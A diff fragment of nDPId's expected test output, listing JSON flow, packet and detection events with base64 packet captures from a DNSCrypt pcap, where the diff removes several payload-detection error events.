00948{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":188,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":68,"flow_packet_id":2,"flow_src_last_pkt_time":946739306241775,"flow_dst_last_pkt_time":946739306434825,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":361,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":361,"pkt_l4_len":327,"thread_ts_usec":946739306434825,"pkt":"ZmZmZmZmRERERERECABFAAFbc7oAADgRQ2OsaF1QCgAAAQWjxuEBRxhutDaBgAABAAIAAAAAATINZG5zY3J5cHQtY2VydAJqcAR0aWFyA2FwcAAAEAABwAwAEAABAAAAAAB9fEROU0MAAgAARetMpee6oZgp6bqFLigcb0SLVmyPyCbHZR6HuGkwY4G1zZ8bDjrU7\/iD1UD40EN1uvlcdqls0BZMl43HwVwZARZAkJHggho4ekmN0Zb884jA2erV10Cju7fjg6Pz8KRbF0CQkeCCGjhfU2UoX1NlKF9UtqjADAAQAAEAAAAAAH18RE5TQwABAACIFa1N+k0s+4iBtwxUZ\/VXDn6QTrqbz7JAjEb6C42munCjxleQqYGFgM5AgV1cY1L\/xiUTddAkkuTfkcOlN9YEFkCQkeCCGjh6SY3RlvzziMDZ6tXXQKO7t+ODo\/PwpFsWQJCR4IIaOF9TZShfU2UoX1S2qA=="} @@ -390,15 +350,9 @@ 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":196,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":77,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311153527,"flow_src_last_pkt_time":946739311153527,"flow_dst_last_pkt_time":946739311153527,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311153527,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38278,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":196,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":77,"flow_packet_id":1,"flow_src_last_pkt_time":946739311153527,"flow_dst_last_pkt_time":946739311153527,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739311153527,"pkt":"REREREREZmZmZmZmCABFAAXctEYgAL0RIOAKAAABzbl0dJWGAikGBDIonSYBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":196,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":77,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311153527,"flow_src_last_pkt_time":946739311153527,"flow_dst_last_pkt_time":946739311153527,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311153527,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":38278,"dst_port":553,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":197,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739311153537} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":197,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739311153527,"pkt":"REREREREZmZmZmZmCABFAABQtEUAub0RRbQKAAABzbl0dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":198,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739311153540} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":198,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739311153527,"pkt":"REREREREZmZmZmZmCABFAABQtEYAub0RRbMKAAABzbl0dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00780{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":199,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":78,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311153654,"flow_src_last_pkt_time":946739311153654,"flow_dst_last_pkt_time":946739311153654,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311153654,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":55822,"dst_port":553,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":78,"flow_packet_id":1,"flow_src_last_pkt_time":946739311153654,"flow_dst_last_pkt_time":946739311153654,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739311153654,"pkt":"REREREREZmZmZmZmCABFAAXctEcgAL0RIN8KAAABzbl0dNoOAikGBO2dnSgBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00885{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":199,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":78,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311153654,"flow_src_last_pkt_time":946739311153654,"flow_dst_last_pkt_time":946739311153654,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311153654,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"205.185.116.116","src_port":55822,"dst_port":553,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":200,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739311153670} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":200,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739311153654,"pkt":"REREREREZmZmZmZmCABFAABQtEcAub0RRbIKAAABzbl0dAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":75,"flow_packet_id":2,"flow_src_last_pkt_time":946739311153446,"flow_dst_last_pkt_time":946739311306630,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739311306630,"pkt":"ZmZmZmZmRERERERECABFAADShQAAADIRADHNuXR0CgAAAQIpqggAvpKvnSmBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":74,"flow_packet_id":2,"flow_src_last_pkt_time":946739311153426,"flow_dst_last_pkt_time":946739311308261,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739311308261,"pkt":"ZmZmZmZmRERERERECABFAADShP8AADIRADLNuXR0CgAAAQIpl98AvqTWnSuBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} 00767{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":73,"flow_packet_id":2,"flow_src_last_pkt_time":946739311153416,"flow_dst_last_pkt_time":946739311310248,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"thread_ts_usec":946739311310248,"pkt":"ZmZmZmZmRERERERECABFAADShQEAADIRADDNuXR0CgAAAQIplc0AvqbsnSeBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAdmcmVldHNhA29yZwAAEAABwAwAEAABAAAAAAB9fEROU0MAAQAAn\/hr1LBKsWo8ISWGing3CJIxyJebVH0i+FiEft0kNqLwa8d8MG0HYasP8XBuGRRYuXbJWON+8OmftD\/GOCqkDQBv6De0v2\/+w89vsWNxuh1o1S9D9qyf\/kIslLiOA5h7AG\/oN7S\/b\/5fU2VhX1NlYV9UtuE="} @@ -414,21 +368,15 @@ 00775{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":209,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":81,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802400,"flow_src_last_pkt_time":946739311802400,"flow_dst_last_pkt_time":946739311802400,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802400,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":52911,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 01200{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":81,"flow_packet_id":1,"flow_src_last_pkt_time":946739311802400,"flow_dst_last_pkt_time":946739311802400,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"thread_ts_usec":946739311802400,"pkt":"REREREREZmZmZmZmCABFAAIcgvBAAL0RWGEKAAABNEHrgc6vAbsCCOKYCnEBAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAABxgAMAcIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 00880{"flow_event_id":7,"flow_event_name":"detected","thread_id":0,"packet_id":209,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":81,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802400,"flow_src_last_pkt_time":946739311802400,"flow_dst_last_pkt_time":946739311802400,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":512,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":512,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":512,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802400,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":52911,"dst_port":443,"l4_proto":"udp","ndpi": {"confidence": {"6":"DPI"},"proto":"DNScrypt","proto_id":"208","encrypted":1,"breed":"Safe","category_id":14,"category":"Network"}} -00228{"error_event_id":9,"error_event_name":"nDPI IPv4\/L4 payload detection failed","datalink":1,"packet_id":210,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60,"global_ts_usec":946739311802405} -00423{"packet_event_id":1,"packet_event_name":"packet","packet_id":210,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"thread_ts_usec":946739311802400,"pkt":"REREREREZmZmZmZmCABFAABQgu8Aub0RmXUKAAABNEHrgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} 00778{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":211,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":82,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":946739311802444,"flow_src_last_pkt_time":946739311802444,"flow_dst_last_pkt_time":946739311802444,"flow_idle_time":200000000,"flow_src_min_l4_payload_len":1472,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":1472,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":1472,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":946739311802444,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"52.65.235.129","src_port":47685,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":3} 02483{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":82,"flow_packet_id":1,"flow_src_last_pkt_time":946739311802444,"flow_dst_last_pkt_time":946739311802444,"flow_idle_time":200000000,"pkt_oversize":false,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"thread_ts_usec":946739311802444,"pkt":"REREREREZmZmZmZmCABFAAXcgvEgAL0RdKAKAAABNEHrgbpFAbsGBAozCm4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydApkZWZmZXItZG5zAmF1AAAQAAEAAAAAAAAAAAAFwgAMBb4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} 